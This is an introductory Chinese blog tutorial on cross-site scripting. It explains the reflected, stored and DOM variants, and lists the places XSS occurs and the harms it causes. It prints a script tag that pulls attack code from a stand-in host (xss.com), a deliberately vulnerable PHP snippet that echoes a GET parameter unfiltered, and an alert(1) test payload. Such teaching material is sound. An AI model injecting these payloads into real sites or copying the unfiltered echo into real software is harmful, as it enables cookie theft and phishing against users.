页首Html代码

02-XSS漏洞基础

一、什么是XSS漏洞

  XSS即跨站脚本,由于Web应用程序对用户输入过滤的不足而造成的漏洞。攻击者可以利用网站的XSS漏洞,插入恶意的脚本代码到网页中,当其他的用户访问该网页时就会执行网页中的恶意代码,从而对该用户产生攻击和危害。

1.1 跨站脚本

  跨站脚本的重点不在“跨”上,而是在“脚本”上,因为“跨”是属于浏览器的属性,而不是缺陷,造成这样的假象是因为绝大多数XSS攻击都会嵌入一段远程或者是第三方域的脚本。因为很多时候输入的内容和长度是有限制的,而攻击的代码会比较长,一般会注入类似下方的代码来引入第三方域的攻击脚本资源。

<script src="http://xss.com/xss.js"><script/>

  总之XSS攻击就是想尽一切办法将脚本代码在目标浏览器上执行和解析。

二、XSS类型

  XSS类型有三类,反射型XSS(也叫非持久型XSS)、存储型XSS(也叫持久型XSS)、DOM XSS。

2.1反射型XSS

  反射型XSS就是发送请求时,攻击代码出现在URL中,作为输入提交到服务器端,服务器端解析后响应,在响应的内容中出现这段XSS的代码,然后浏览器解析执行。这个过程就像一次反射,所以叫反射型XSS。

反射型XSS列子:

  http://xss.com/xss.php代码如下:

<?php
echo $_GET['x'];
?>

  输入x的值为做任何的过滤就可以直接输出,可以提交:

  http://xss.com/xss.php?x=<script>alert(1)<script/>

  服务器端解析时,echo就会完整的输出<script>alert(1)<script/>到响应体中,然后浏览器解析执行,就触发了XSS漏洞。

2.2存储型XSS

  存储型XSS就是攻击的脚本会存储到服务器端,可能会存储到数据库或者是文件系统等,下次再请求目标页面时,不用再次提交XSS攻击代码。

存储型XSS例子:

  最典型的就是留言板,攻击者在留言板处提交了XSS攻击代码,该代码被存储到了目标服务器数据库中,当目标用户浏览留言板时,那些留言板的内容就会从数据库中查询并显示出来,浏览器发现有XSS的代码,就当作正常的HTML和javascript解析执行,然后触发了XSS漏洞。

 2.3 DOM XSS

  DOM 型XSS和反射型XSS、存储型XSS的区别在于DOM XSS并不需要服务器端解析响应的直接参与,触发DOM XSS完全靠浏览器的DOM解析,可以认为是完全是前端的事情。

三、哪里会出现XSS漏洞

  XSS漏洞涉及的场景非常的广,现在非常多的客户端软件支持HTML、javascript的解析。比如:HTML文档、XML文档、flash、PDF、QQ、一些音乐播放器等。

四、XSS漏洞危害

1、挂马

2、盗取用户cookie

3、钓鱼攻击

4、蠕虫挂马,刷广告等。

posted @ 2021-08-20 10:42  与或非丶  阅读(95)  评论(0)    收藏  举报